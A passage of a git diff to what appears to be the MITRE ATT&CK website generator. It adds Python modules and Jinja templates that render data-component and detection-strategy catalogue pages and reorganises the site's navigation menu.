Data Components Sidebar\n" + "Template: general/sidebar-template \n" + "save_as: datacomponents/sidebar-datacomponents/index.html\n" + "data: " +) \ No newline at end of file diff --git a/modules/datacomponents/templates/datacomponent.html b/modules/datacomponents/templates/datacomponent.html new file mode 100644 index 00000000000..33bb6280c8b --- /dev/null +++ b/modules/datacomponents/templates/datacomponent.html @@ -0,0 +1,149 @@ +{% extends "general/two-column.html" %} + +{% import 'macros/deprecated.html' as deprecated %} +{% import 'macros/notes.html' as notes %} +{% import 'macros/citations.html' as citations %} +{% import 'macros/versioning.html' as versioning %} +{% import 'macros/navigation.html' as navigation %} +{% import 'macros/clean_output.html' as clean_output %} +{% import 'macros/detection_strategies_table_datacomponents.html' as detection_strategies_table_datacomponents %} + +{% set parsed = page.data | from_json %} +{% set title = parsed.name + ", Data Component " + parsed.attack_id + " | MITRE ATT&CK®" -%} +{% set active_page = "datacomponents" -%} + +{% block head %} + {{ super () }} + {% if parsed.deprecated %} + + {% endif %} +{% endblock %} + +{% block innerleft %} + + + +{% endblock %} + +{% block innerright %} +{{ super () }} + + + +
+ +
+
+
+
+

+ {{ parsed.name }} +

+ + {% if parsed.deprecated %} + {% if parsed.description %} + {{ deprecated.deprecated(clean_output.stixToHTML(parsed.description, firstParagraphOnly=True)) }} + {% else %} + {{ deprecated.deprecated("This data component has been deprecated.") }} + {% endif %} + {% else %} +
+
+ {% if parsed.description %} +
+ {{ clean_output.stixToHTML(parsed.description, parsed.citations) }} +
+ {% endif %} + {% if parsed.notes %} + {{ notes.notes_section(parsed.notes) }} + {% endif %} +
+
+
+
+ {% if parsed.attack_id %} +
ID: {{parsed.attack_id}}
+ {% endif %} + {% if parsed.domains %} +
+
+ Domains: {{ parsed.domains|join(", ") }} +
+
+ {% endif %} + {% if parsed.version %} +
+
+ Version: {{ parsed.version }} +
+
+ {% endif %} + {% if parsed.created %} +
+
+ Created: {{ parsed.created }} +
+
+ {% endif %} + {% if parsed.modified %} +
+
+ Last Modified: {{ parsed.modified }} +
+
+ {% endif %} +
+
+ {% if parsed.versioning_feature %} + {{ versioning.permalink_button(output_file, parsed.attack_id)}} + {% endif %} +
+
+ + {% if parsed.log_sources %} +

Log Sources

+
+
+ + + + + + + + {% for log_source in parsed.log_sources %} + + + + + {% endfor %} + +
NameChannel
{{ log_source.name }}{{ log_source.channel }}
+ + {% endif %} + {% if parsed.detectionstrategies %} +

Detection Strategy

+ {{detection_strategies_table_datacomponents.detection_strategies_table_datacomponents(parsed.detectionstrategies)}} + {% endif %} + + {{ citations.reference_section(parsed.citations) }} + {% endif %} + + + + + +{% endblock %} + +{% block scripts %} + {{ super() }} + + + + + +{% endblock %} diff --git a/modules/datacomponents/templates/datacomponents-index.html b/modules/datacomponents/templates/datacomponents-index.html new file mode 100644 index 00000000000..6b8e2bf4a26 --- /dev/null +++ b/modules/datacomponents/templates/datacomponents-index.html @@ -0,0 +1,101 @@ +{% extends "general/two-column.html" %} +{% set title = "Data Components | MITRE ATT&CK®" %} +{% set parsed = page.data | from_json %} +{% set active_page = "datacomponents" -%} +{% import 'macros/navigation.html' as navigation %} +{% import 'macros/clean_output.html' as clean_output %} + +{% block innerleft %} + + + +{% endblock %} + +{% block innerright %} + {{ super () }} + +
+
+
+
+
+
+

Data Components

+

+ Data Components identify the specific properties/values relevant to detecting a given ATT&CK technique or sub-technique. +

+
Data Components: {{ parsed.total_count }}
+
+ + + + + + + + + + + {% for row in parsed.datacomponent_table %} + + + + + + + {% endfor %} + +
IDName + + Description
+ {{ row.id | upper }} + + {% if row.deprecated %} + ****Deprecation Warning**** + {% endif %} + {{ row.name }} + + {% for domain in row.domains %} + {{ domain }} +
+ {% endfor %} +
+ {{clean_output.stixToHTML(row.description, firstParagraphOnly=True)}} +
+
+
+
+
+
+
+ +{% endblock %} + +{% block scripts %} + {{ super() }} + + + +{% endblock %} \ No newline at end of file diff --git a/modules/datasources/__init__.py b/modules/datasources/__init__.py index 8d40ac5f5ab..bee91e61447 100644 --- a/modules/datasources/__init__.py +++ b/modules/datasources/__init__.py @@ -6,35 +6,5 @@ def get_priority(): return datasources_config.priority - -def get_menu(): - return { - "display_name": datasources_config.module_tab_name, - "module_name": datasources_config.module_name_no_spaces, - "url": "/datasources", - "external_link": False, - "priority": datasources_config.priority, - "children": [ - {"display_name": "Data Sources", "url": "/datasources", "external_link": False, "children": []}, - { - "display_name": "Mitigations", - "url": "/mitigations/", - "external_link": False, - "children": [ - { - "display_name": "Enterprise", - "url": "/mitigations/enterprise/", - "external_link": False, - "children": [], - }, - {"display_name": "Mobile", "url": "/mitigations/mobile/", "external_link": False, "children": []}, - {"display_name": "ICS", "url": "/mitigations/ics/", "external_link": False, "children": []}, - ], - }, - {"display_name": "Assets", "url": "/assets", "external_link": False, "children": []}, - ], - } - - def run_module(): return (datasources.generate_datasources(), datasources_config.module_name_no_spaces) diff --git a/modules/datasources/datasources.py b/modules/datasources/datasources.py index d0d71b9c411..e489ac33de7 100644 --- a/modules/datasources/datasources.py +++ b/modules/datasources/datasources.py @@ -38,20 +38,17 @@ def generate_markdown_files(): has_datasource = False datasource_list = rsg.get_datasource_list() - datasource_list_no_deprecated_revoked = util.buildhelpers.filter_deprecated_revoked(datasource_list) - if datasource_list_no_deprecated_revoked: + if datasource_list: has_datasource = True if has_datasource: - data = {} - - notes = rsg.get_objects_using_notes() - side_menu_data = get_datasources_side_nav_data(datasource_list_no_deprecated_revoked) - data["side_menu_data"] = side_menu_data - data["datasources_table"] = get_datasources_table_data(datasource_list_no_deprecated_revoked) - data["datasources_list_len"] = str(len(datasource_list_no_deprecated_revoked)) - + side_menu_data = get_datasources_side_nav_data(datasource_list) + data = { + "datasources_table": get_datasources_table_data(datasource_list), + "datasources_list_len": str(len(datasource_list)), + "side_menu_data": side_menu_data, + } subs = datasources_config.datasource_index_md + json.dumps(data) with open( @@ -60,6 +57,7 @@ def generate_markdown_files(): md_file.write(subs) # Create the markdown for the enterprise datasources in the STIX + notes = rsg.get_objects_using_notes() for datasource in datasource_list: generate_datasource_md(datasource, side_menu_data, notes) @@ -72,9 +70,7 @@ def generate_datasource_md(datasource, side_menu_data, notes): if attack_id: data = {} - data["attack_id"] = attack_id - data["side_menu_data"] = side_menu_data data["notes"] = notes.get(datasource["id"]) @@ -112,13 +108,9 @@ def generate_datasource_md(datasource, side_menu_data, notes): datasource["x_mitre_collection_layers"].sort() data["collection_layers"] = ", ".join(datasource["x_mitre_collection_layers"]) - # Get data components of data source and the technique relationships - data["datacomponents_list"] = get_datacomponents_data(datasource, reference_list) - data["citations"] = reference_list - if datasource.get("x_mitre_deprecated"): - data["deprecated"] = True + data["deprecated"] = datasource.get("x_mitre_deprecated", False) data["versioning_feature"] = site_config.check_versions_module() @@ -136,73 +128,22 @@ def get_datasources_side_nav_data(datasources): """Responsible for generating the links that are located on the left side of individual data sources domain pages.""" side_nav_data = [] - # Get data components of data source - datacomponent_of = rsg.get_datacomponent_of() - technique_to_domain = rsg.get_technique_to_domain() - techniques_detected_by_datacomponent = rsg.get_techniques_detected_by_datacomponent() - - def get_domains_of_datacomponent(datacomponent): - """Retrives domains of given data component""" - domains_of_datacomponent = [] - - # get data components to techniques mapping to find domains - techniques_of_datacomp = techniques_detected_by_datacomponent.get(datacomponent["id"]) - if techniques_of_datacomp: - technique_list = {} - for technique_rel in techniques_of_datacomp: - attack_id = util.buildhelpers.get_attack_id(technique_rel["object"]) - if attack_id: - domain = technique_to_domain[attack_id].split("-")[0] - if domain not in domains_of_datacomponent: - domains_of_datacomponent.append(domain) - - return domains_of_datacomponent - # Loop through data sources for datasource in datasources: attack_id = util.buildhelpers.get_attack_id(datasource) if attack_id: - domains_of_datasource = [] + domains = datasource.get("x_mitre_domains", []) + domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains] datasource_data = { "name": datasource["name"], "id": attack_id, "path": "/datasources/{}/".format(attack_id), + "domains": domain_names, "children": [], } - - if datacomponent_of.get(datasource["id"]): - for datacomponent in datacomponent_of[datasource["id"]]: - if not datacomponent.get("x_mitre_deprecated") and not datacomponent.get("revoked"): - # get data component detections - techniques_of_datacomp = techniques_detected_by_datacomponent.get(datacomponent["id"]) - if techniques_of_datacomp: - domains_of_datacomponent = get_domains_of_datacomponent(datacomponent) - # Add missing domains to data source - for domain in domains_of_datacomponent: - if domain not in domains_of_datasource: - domains_of_datasource.append(domain) - - datacomponent_data = { - "name": datacomponent["name"], - "id": datacomponent["name"], - "path": "/datasources/{}/#{}".format(attack_id, datacomponent["name"]), - "domains": domains_of_datacomponent, - "children": [], - } - - # Add data component data to data source - datasource_data["children"].append(datacomponent_data) - - # Sort subtechniques by ATT&CK ID - if datasource_data["children"]: - datasource_data["children"] = sorted( - datasource_data["children"], key=lambda k: k["name"].lower() - ) - - datasource_data["domains"] = domains_of_datasource - # add data source and children to the side navigation - side_nav_data.append(datasource_data) + # add data source and children to the side navigation + side_nav_data.append(datasource_data) side_nav_data = sorted(side_nav_data, key=lambda k: k["name"].lower()) @@ -217,152 +158,21 @@ def get_domains_of_datacomponent(datacomponent): def get_datasources_table_data(datasource_list): """Responsible for generating datasource table data for the datasource index page.""" datasources_table_data = [] - - # Now the table on the right, which is made up of datasource data for datasource in datasource_list: attack_id = util.buildhelpers.get_attack_id(datasource) - domain_list = get_datasources_domain(datasource) if attack_id: - row = {} - - row["id"] = attack_id - - for domain_idx in range(len(domain_list)): - domain_list[domain_idx] = domain_list[domain_idx].replace("-attack", "") - if domain_list[domain_idx] == "ics": - domain_list[domain_idx] = domain_list[domain_idx].upper() - else: - domain_list[domain_idx] = domain_list[domain_idx].capitalize() - row["domains"] = domain_list - - if datasource.get("name"): - row["name"] = datasource["name"] - - if datasource.get("description"): - row["descr"] = datasource["description"] - - if datasource.get("x_mitre_deprecated"): - row["deprecated"] = True - + domains = datasource.get("x_mitre_domains", []) + domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains] + row = { + "id": attack_id, + "name": datasource.get("name"), + "domains": domain_names, + "descr": datasource.get("description", ""), + "deprecated": datasource.get("x_mitre_deprecated", False), + } datasources_table_data.append(row) # Sort by data source name datasources_table_data = sorted(datasources_table_data, key=lambda k: k["name"].lower()) - return datasources_table_data - - -def get_datacomponents_data(datasource, reference_list): - """Given a data source and its reference list, get a list of data components of the data source. - - Add techniques detected by data components. Check the reference list for citations, if not found in list, add it. - """ - datacomponents_data = [] - - # Get data components of data source - datacomponent_of = rsg.get_datacomponent_of() - technique_to_domain = rsg.get_technique_to_domain() - techniques_detected_by_datacomponent = rsg.get_techniques_detected_by_datacomponent() - - if datacomponent_of.get(datasource["id"]): - for datacomponent in datacomponent_of[datasource["id"]]: - if not datacomponent.get("x_mitre_deprecated") and not datacomponent.get("revoked"): - # get data component detections - techniques_of_datacomp = techniques_detected_by_datacomponent.get(datacomponent["id"]) - - # skip if no detections - if not techniques_of_datacomp: - continue - - reference = False - datacomponent_data = {"name": datacomponent["name"], "descr": datacomponent["description"]} - - # update reference list - reference_list = util.buildhelpers.update_reference_list(reference_list, datacomponent) - - # get data components to techniques mapping - datacomponent_data["techniques"] = [] - domains_of_datacomponent = [] - technique_list = {} - for technique_rel in techniques_of_datacomp: - # Do not add if technique is deprecated - if not technique_rel["object"].get("x_mitre_deprecated"): - technique_list = util.buildhelpers.technique_used_helper( - technique_list, technique_rel, reference_list - ) - - # Get domain of technique - attack_id = util.buildhelpers.get_attack_id(technique_rel["object"]) - if attack_id: - domain = technique_to_domain[attack_id].split("-")[0] - if domain not in domains_of_datacomponent: - domains_of_datacomponent.append(domain) - - technique_data = [] - for item in technique_list: - if technique_list[item].get("descr"): - if reference == False: - reference = True - technique_data.append(technique_list[item]) - - # Sort by technique name - technique_data = sorted(technique_data, key=lambda k: k["name"].lower()) - - datacomponent_data["techniques"] = technique_data - datacomponent_data["add_datacomponent_ref"] = reference - - datacomponent_data["domains"] = domains_of_datacomponent - datacomponents_data.append(datacomponent_data) - - # Sort output by data component name - datacomponents_data = sorted(datacomponents_data, key=lambda k: k["name"].lower()) - - return datacomponents_data - - -def get_domains_of_datacomponent(datacomponent, techniques_detected_by_datacomponent, technique_to_domain): - """Retrives domains of given data component""" - domains_of_datacomponent = [] - - # get data components to techniques mapping to find domains - techniques_of_datacomp = techniques_detected_by_datacomponent.get(datacomponent["id"]) - if techniques_of_datacomp: - technique_list = {} - for technique_rel in techniques_of_datacomp: - attack_id = util.buildhelpers.get_attack_id(technique_rel["object"]) - if attack_id: - domain = technique_to_domain[attack_id].split("-")[0] - if domain not in domains_of_datacomponent: - domains_of_datacomponent.append(domain) - - return domains_of_datacomponent - - -def get_datasources_domain(datasource): - """Responsible for generating the list of domains for the datasources and datacomponents.""" - # Get data components of data source - datacomponent_of = rsg.get_datacomponent_of() - technique_to_domain = rsg.get_technique_to_domain() - techniques_detected_by_datacomponent = rsg.get_techniques_detected_by_datacomponent() - - # Loop through data sources - attack_id = util.buildhelpers.get_attack_id(datasource) - - if attack_id: - domains_of_datasource = [] - if datacomponent_of.get(datasource["id"]): - for datacomponent in datacomponent_of[datasource["id"]]: - if not datacomponent.get("x_mitre_deprecated") and not datacomponent.get("revoked"): - # get data component detections - techniques_of_datacomp = techniques_detected_by_datacomponent.get(datacomponent["id"]) - if techniques_of_datacomp: - domains_of_datacomponent = get_domains_of_datacomponent( - datacomponent, techniques_detected_by_datacomponent, technique_to_domain - ) - # Add missing domains to data source - for domain in domains_of_datacomponent: - if domain not in domains_of_datasource: - domains_of_datasource.append(domain) - - return domains_of_datasource diff --git a/modules/datasources/templates/datasource.html b/modules/datasources/templates/datasource.html index a4d78681455..aa553d55cd6 100644 --- a/modules/datasources/templates/datasource.html +++ b/modules/datasources/templates/datasource.html @@ -28,7 +28,7 @@ {% block innerleft %}
- {{ navigation.sidenav(parsed.side_menu_data, output_file, true) }} + {{ navigation.sidenav(parsed.side_menu_data, output_file) }}
{% endblock %} @@ -138,59 +138,6 @@

- {% if parsed.datacomponents_list %} -

Data Components

- -
- {% for datacomponent in parsed.datacomponents_list %} -
- - -
-

{{parsed.name}}: {{datacomponent.name}}

-
-
-
- {% if datacomponent.descr %} -
- {% if parsed.deprecated %} - ****Deprecation Warning**** - {% endif %} - {{clean_output.stixToHTML(datacomponent.descr, parsed.citations)}} -
- {% endif %} -
- -
-

{{parsed.name}}: {{datacomponent.name}}

-
-
-
- {% if datacomponent.descr %} -
- {% if parsed.deprecated %} - ****Deprecation Warning**** - {% endif %} - {{clean_output.stixToHTML(datacomponent.descr, parsed.citations)}} -
- {% endif %} -
- {% if datacomponent.techniques %} - {% if datacomponent.add_datacomponent_ref %} - {{techniques_used.techniques_used(datacomponent.techniques, "", true, "Detects", parsed.citations)}} - {% else %} - {{techniques_used.techniques_used(datacomponent.techniques, "", true, "")}} - {% endif %} - {% endif %} -
- {% endfor %} -
- {% endif %} - {{ citations.reference_section(parsed.citations) }} {% endif %} diff --git a/modules/detectionstrategies/__init__.py b/modules/detectionstrategies/__init__.py new file mode 100644 index 00000000000..fc92f6dba72 --- /dev/null +++ b/modules/detectionstrategies/__init__.py @@ -0,0 +1,9 @@ +from . import detectionstrategies, detectionstrategies_config + + +def get_priority(): + return detectionstrategies_config.priority + + +def run_module(): + return detectionstrategies.generate_detectionstrategy(), detectionstrategies_config.module_name_no_spaces diff --git a/modules/detectionstrategies/detectionstrategies.py b/modules/detectionstrategies/detectionstrategies.py new file mode 100644 index 00000000000..744497e1bf4 --- /dev/null +++ b/modules/detectionstrategies/detectionstrategies.py @@ -0,0 +1,249 @@ +import json +import os + +from loguru import logger + +from modules import util + +from .. import site_config +from . import detectionstrategies_config + + +def generate_detectionstrategy(): + """Verify detection strategy directory and generate detection strategy index markdown.""" + # Create content pages directory if does not already exist + util.buildhelpers.create_content_pages_dir() + + # Move templates to templates directory + util.buildhelpers.move_templates( + detectionstrategies_config.module_name_no_spaces, detectionstrategies_config.detectionstrategies_templates_path + ) + + # Verify if directory exists + if not os.path.isdir(detectionstrategies_config.detectionstrategy_markdown_path): + os.mkdir(detectionstrategies_config.detectionstrategy_markdown_path) + + # Generate markdown files used for page generation + detectionstrategy_generated = generate_markdown_files() + if not detectionstrategy_generated: + util.buildhelpers.remove_module_from_menu(detectionstrategies_config.module_name_no_spaces) + + +def generate_markdown_files(): + """Generate shared data for all detection strategies and markdown for detection strategy.""" + data = {} + has_detection_strategies = False + + detection_strategy_list = util.relationshipgetters.get_detectionstrategy_list() + active_detection_strategy_list = util.buildhelpers.filter_deprecated_revoked(detection_strategy_list) + + detection_strategies = {} + ms = util.relationshipgetters.get_ms() + for domain in site_config.domains: + if domain["deprecated"]: + continue + # Reads the STIX and creates a list of the ATT&CK detection strategies filtered by domain + detection_strategies[domain["name"]] = util.stixhelpers.get_detection_strategy_list_from_src( + ms[domain["name"]], sort_by_id=True + ) + if active_detection_strategy_list: + has_detection_strategies = True + else: + logger.debug("No detection strategies found") + + if has_detection_strategies: + notes = util.relationshipgetters.get_objects_using_notes() + + # Generate sidebar data + sidebar_data = util.buildhelpers.get_side_nav_domains_data( + "detection strategies", detection_strategies, domain_page=False, use_name_or_id="id" + ) + generate_sidebar_detectionstrategies(sidebar_data) + + data["total_count"] = str(len(active_detection_strategy_list)) + data["detection_strategy_table"] = get_detection_strategy_table(active_detection_strategy_list) + + subs = detectionstrategies_config.detectionstrategy_index_md + json.dumps(data) + with open( + os.path.join(detectionstrategies_config.detectionstrategy_markdown_path, "overview.md"), + "w", + encoding="utf8", + ) as md_file: + md_file.write(subs) + + # Create markdown for detection strategies + for detection_strategy in detection_strategy_list: + generate_detection_strategy_md(detection_strategy, notes) + + return has_detection_strategies + + +def get_detection_strategy_table(detection_strategy_list): + """Generate detection strategy table for the overview page.""" + detection_strategy_table = [] + + for detection_strategy in detection_strategy_list: + attack_id = util.buildhelpers.get_attack_id(detection_strategy) + if not attack_id: + continue + + domains = detection_strategy.get("x_mitre_domains", []) + domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains] + row = { + "id": attack_id, + "name": detection_strategy.get("name"), + "domains": domain_names, + "deprecated": detection_strategy.get("x_mitre_deprecated", False), + } + detection_strategy_table.append(row) + + # sort by detection strategy name + return sorted(detection_strategy_table, key=lambda k: k["name"].lower()) + + +def generate_detection_strategy_md(detection_strategy, notes): + """Generate markdown for individual detection strategies.""" + attack_id = util.buildhelpers.get_attack_id(detection_strategy) + if not attack_id: + return + + dates = util.buildhelpers.get_created_and_modified_dates(detection_strategy) + + # Build reference list + reference_list = {"current_number": 0} + reference_list = util.buildhelpers.update_reference_list(reference_list, detection_strategy) + + domains = detection_strategy.get("x_mitre_domains", []) + domain_names = [util.buildhelpers.get_domain_display_name(domain) for domain in domains] + analytics_by_platform, analytic_ids, reference_list = build_analytics_by_platform(detection_strategy, reference_list) + data = { + "attack_id": attack_id, + "notes": notes.get(detection_strategy["id"]), + "created": dates.get("created"), + "modified": dates.get("modified"), + "name": detection_strategy.get("name"), + "domains": domain_names, + "version": detection_strategy.get("x_mitre_version"), + "contributors": detection_strategy.get("x_mitre_contributors", []), + "deprecated": detection_strategy.get("x_mitre_deprecated", False), + "citations": reference_list, + "technique_detected": get_technique_detected_data(detection_strategy, reference_list), + "analytics": analytics_by_platform, + "analytic_ids": analytic_ids, + "versioning_feature": site_config.check_versions_module(), + } + + subs = detectionstrategies_config.detectionstrategy_md.substitute(data) + subs += json.dumps(data) + + # Write the markdown file + with open( + os.path.join(detectionstrategies_config.detectionstrategy_markdown_path, attack_id + ".md"), + "w", + encoding="utf8", + ) as md_file: + md_file.write(subs) + + +def get_technique_detected_data(detection_strategy, reference_list): + """Get techniques detected by this detection strategy and add any missing citations.""" + technique_detected = util.relationshipgetters.get_techniques_detected_by_detectionstrategy().get( + detection_strategy["id"], [None] + ) + if not technique_detected[0]: + return {} + + technique = technique_detected[0]["object"] + attack_id = util.buildhelpers.get_attack_id(technique) + if attack_id is None: + logger.error(f"technique is missing an ATT&CK ID: {technique['stix']['id']}") + return {} + relationship = technique_detected[0]["relationship"] + technique_data = { + "name": technique["name"], + "attack_id": attack_id, + "detects": relationship.get("description", ""), + "url": f"/techniques/{attack_id.replace('.', '/')}", + } + reference_list = util.buildhelpers.update_reference_list(reference_list, relationship) + return technique_data + + +def build_analytics_by_platform(detection_strategy, reference_list): + """Generate analytic table by platform.""" + analytics_map = util.stixhelpers.get_analytics_from_detection_strategy(detection_strategy) + platform_dict = {} + analytic_ids = [] + + for analytic in analytics_map.values(): + if analytic is None: + continue # skip missing analytics + + platforms = analytic.get("x_mitre_platforms", []) + if platforms == ["None"]: + platforms = ["ICS"] + if not platforms: + continue # skip analytics with no platform + platform = platforms[0] + + attack_id = util.buildhelpers.get_attack_id(analytic) + analytic_ids.append(attack_id) + analytic_data = { + "id": attack_id, + "description": analytic.get("description", ""), + "url": f"/analytics/{attack_id}", + "log_source_table": build_log_source_table(analytic), + "mutable_elements": analytic.get("x_mitre_mutable_elements", []), + } + reference_list = util.buildhelpers.update_reference_list(reference_list, analytic) + + if platform not in platform_dict: + platform_dict[platform] = [] + platform_dict[platform].append(analytic_data) + + return platform_dict, analytic_ids, reference_list + + +def generate_sidebar_detectionstrategies(side_nav_data): + """Responsible for generating the sidebar for the detectionstrategies pages.""" + logger.info("Generating detectionstrategies sidebar") + data = {} + data["menu"] = side_nav_data + + # Sidebar Overview + sidebar_detectionstrategies_md = detectionstrategies_config.sidebar_detectionstrategies_md + json.dumps(data) + + # write markdown to file + with open( + os.path.join(detectionstrategies_config.detectionstrategy_markdown_path, "sidebar_detectionstrategies.md"), + "w", + encoding="utf8", + ) as md_file: + md_file.write(sidebar_detectionstrategies_md) + + +def build_log_source_table(analytic): + """Generate a dict of log source references (data component names and URLs).""" + log_source_dict = {} + log_sources = analytic.get("x_mitre_log_source_references") + if not log_sources: + return log_source_dict + + for log_source in log_sources: + datacomponent_ref = log_source.get("x_mitre_data_component_ref", None) + datacomponent = util.stixhelpers.get_datacomponent_from_list(datacomponent_ref) + if not datacomponent: + logger.debug(f"Log source data component not found: {log_source}") + continue # skip log source with no data component + + datacomponent_id = util.buildhelpers.get_attack_id(datacomponent) + if datacomponent_id not in log_source_dict: + log_source_dict[datacomponent_id] = { + "datacomponent": { + "name": datacomponent.get("name"), + "url": f"/datacomponents/{datacomponent_id}", + }, + "log_sources": [], + } + log_source_dict[datacomponent_id]["log_sources"].append(log_source) + return log_source_dict diff --git a/modules/detectionstrategies/detectionstrategies_config.py b/modules/detectionstrategies/detectionstrategies_config.py new file mode 100644 index 00000000000..fbdf26d4ee3 --- /dev/null +++ b/modules/detectionstrategies/detectionstrategies_config.py @@ -0,0 +1,32 @@ +from string import Template + +module_name = "Detection Strategies" +module_name_no_spaces = "detectionstrategies" +module_tab_name = "Defenses" +priority = 5.1 + +# Markdown path +detectionstrategy_markdown_path = "content/pages/detectionstrategies/" + +# Path for templates +detectionstrategies_templates_path = "modules/detectionstrategies/templates/" + +# String template for index/overview page +detectionstrategy_index_md = ( + "Title: Detection Strategy Overview\n" + "Template: detectionstrategies/detectionstrategies-index\n" + "save_as: detectionstrategies/index.html\n" + "data: " +) + +# String template for individual page +detectionstrategy_md = Template( + "Title: ${name}\nTemplate: detectionstrategies/detectionstrategy\nsave_as: detectionstrategies/${attack_id}/index.html\ndata: " +) + +sidebar_detectionstrategies_md = ( + "Title: Detection Strategies Sidebar\n" + "Template: general/sidebar-template \n" + "save_as: detectionstrategies/sidebar-detectionstrategies/index.html\n" + "data: " +) \ No newline at end of file diff --git a/modules/detectionstrategies/templates/detectionstrategies-index.html b/modules/detectionstrategies/templates/detectionstrategies-index.html new file mode 100644 index 00000000000..3cebc3edd97 --- /dev/null +++ b/modules/detectionstrategies/templates/detectionstrategies-index.html @@ -0,0 +1,99 @@ +{% extends "general/two-column.html" %} +{% set title = "Detection Strategies | MITRE ATT&CK®" %} +{% set parsed = page.data | from_json %} +{% set active_page = "detectionstrategies" -%} +{% import 'macros/navigation.html' as navigation %} +{% import 'macros/clean_output.html' as clean_output %} + +{% block innerleft %} + + + +{% endblock %} + +{% block innerright %} + {{ super () }} + +
+
+
+
+
+
+

Detection Strategies

+

+ Detection strategies define high-level approaches for detecting specific + adversary techniques. They serve as containers that organize multiple + platform-specific analytics into cohesive detection methodologies. +

+
Detection Strategies: {{ parsed.total_count }}
+
+ + + + + + + + + + {% for row in parsed.detection_strategy_table %} + + + + + + {% endfor %} + +
IDName + +
+ {{ row.id | upper }} + + {% if row.deprecated %} + ****Deprecation Warning**** + {% endif %} + {{ row.name }} + + {% for dom in row.domains %} + {{dom}} +
+ {% endfor %} +
+
+
+
+
+
+
+ +{% endblock %} + +{% block scripts %} + {{ super() }} + + + +{% endblock %} \ No newline at end of file diff --git a/modules/detectionstrategies/templates/detectionstrategy.html b/modules/detectionstrategies/templates/detectionstrategy.html new file mode 100644 index 00000000000..aca9cf7b7bd --- /dev/null +++ b/modules/detectionstrategies/templates/detectionstrategy.html @@ -0,0 +1,226 @@ +{% extends "general/two-column.html" %} + +{% import 'macros/deprecated.html' as deprecated %} +{% import 'macros/notes.html' as notes %} +{% import 'macros/citations.html' as citations %} +{% import 'macros/versioning.html' as versioning %} +{% import 'macros/navigation.html' as navigation %} +{% import 'macros/clean_output.html' as clean_output %} + +{% set parsed = page.data | from_json %} +{% set title = parsed.name + ", Detection Strategy " + parsed.attack_id + " | MITRE ATT&CK®" -%} +{% set active_page = "detectionstrategies" -%} + +{% block head %} + {{ super () }} + {% if parsed.deprecated %} + + {% endif %} +{% endblock %} + +{% block innerleft %} + + + +{% endblock %} + +{% block innerright %} +{{ super () }} + + + +
+ +
+
+
+
+

+ {{ parsed.name }} +

+ + {% if parsed.deprecated %} + {{ deprecated.deprecated("This detection strategy has been deprecated.") }} + {% else %} +
+
+ {% if parsed.technique_detected %} +

+ Technique Detected:  + + {{parsed.technique_detected.name}} | {{parsed.technique_detected.attack_id}} + +

+ {% if parsed.technique_detected.detects %} +
+ {{clean_output.stixToHTML(parsed.technique_detected.detects, parsed.citations)}} +
+ {% endif %} + {% endif %} + {% if parsed.notes %} + {{ notes.notes_section(parsed.notes) }} + {% endif %} +
+
+
+
+ {% if parsed.attack_id %} +
ID: {{parsed.attack_id}}
+ {% endif %} + {% if parsed.domains %} +
+
+ Domains: {{ parsed.domains|join(", ") }} +
+
+ {% endif %} + {% if parsed.analytic_ids %} +
+
+ Analytics: {{ parsed.analytic_ids|join(", ") }} +
+
+ {% endif %} + {% if parsed.contributors %} +
+
+ Contributors: {{ parsed.contributors|join("; ") }} +
+
+ {% endif %} + {% if parsed.version %} +
+
+ Version: {{ parsed.version }} +
+
+ {% endif %} + {% if parsed.created %} +
+
+ Created: {{ parsed.created }} +
+
+ {% endif %} + {% if parsed.modified %} +
+
+ Last Modified: {{ parsed.modified }} +
+
+ {% endif %} +
+
+ {% if parsed.versioning_feature %} + {{ versioning.permalink_button(output_file, parsed.attack_id)}} + {% endif %} +
+
+ + {% if parsed.analytics %} +
+

Analytics

+ +
+ {% for platform in parsed.analytics.keys() %} + {% set platform_id = platform|replace(' ', '_') %} +
+ {% for analytic in parsed.analytics[platform] %} +

{{ analytic.id }}

+
+ {{clean_output.stixToHTML(analytic.description, parsed.citations)}} +
+ + {% if analytic.log_source_table %} +
Log Sources
+
+ + + + + + + + + + {% for datacomponent_id in analytic.log_source_table %} + {% set datacomponent = analytic.log_source_table[datacomponent_id].datacomponent %} + {% set log_sources = analytic.log_source_table[datacomponent_id].log_sources %} + {% for log_source in log_sources %} + + {% if loop.first %} + + {% endif %} + + + + {% endfor %} + {% endfor %} + +
Data ComponentNameChannel
+ + {{ datacomponent.name }} ({{ datacomponent_id }}) + + {{ log_source.name }}{{ log_source.channel }}
+
+ {% endif %} + + {% if analytic.mutable_elements %} +
Mutable Elements
+
+ + + + + + + + + {% for elem in analytic.mutable_elements %} + + + + + {% endfor %} + +
FieldDescription
{{ elem.field }}{{ elem.description }}
+
+ {% endif %} + {% endfor %} +
+ {% endfor %} +
+
+ {% endif %} + + {{ citations.reference_section(parsed.citations) }} + {% endif %} +
+
+
+
+ +{% endblock %} + +{% block scripts %} + {{ super() }} + + + + + + +{% endblock %} diff --git a/modules/mitigations/__init__.py b/modules/mitigations/__init__.py index 40d74cfbd41..3b2200a847e 100644 --- a/modules/mitigations/__init__.py +++ b/modules/mitigations/__init__.py @@ -6,5 +6,58 @@ def get_priority(): return mitigations_config.priority +def get_menu(): + return { + "display_name": mitigations_config.module_tab_name, + "module_name": mitigations_config.module_name, + "url": "/mitigations", + "external_link": False, + "priority": mitigations_config.priority, + "children": [ + { + "display_name": "Mitigations", + "url": "/mitigations/", + "external_link": False, + "children": [ + { + "display_name": "Enterprise", + "url": "/mitigations/enterprise/", + "external_link": False, + "children": [], + }, + {"display_name": "Mobile", "url": "/mitigations/mobile/", "external_link": False, "children": []}, + {"display_name": "ICS", "url": "/mitigations/ics/", "external_link": False, "children": []}, + ], + }, + {"display_name": "Assets", "url": "/assets", "external_link": False, "children": []}, + { + "display_name": "Detections", + "url": "/detectionstrategies/", + "external_link": False, + "children": [ + { + "display_name": "Detection Strategies", + "url": "/detectionstrategies/", + "external_link": False, + "children": [] + }, + { + "display_name": "Analytics", + "url": "/analytics/", + "external_link": False, + "children": [] + }, + { + "display_name": "Data Components", + "url": "/datacomponents", + "external_link": False, + "children": [] + } + ] + }, + ], + } + + def run_module(): return (mitigations.generate_mitigations(), mitigations_config.module_name) diff --git a/modules/mitigations/mitigations.py b/modules/mitigations/mitigations.py index f89e2ace629..ca39161f9c7 100644 --- a/modules/mitigations/mitigations.py +++ b/modules/mitigations/mitigations.py @@ -35,8 +35,8 @@ def generate_mitigations(): if domain["deprecated"]: continue # 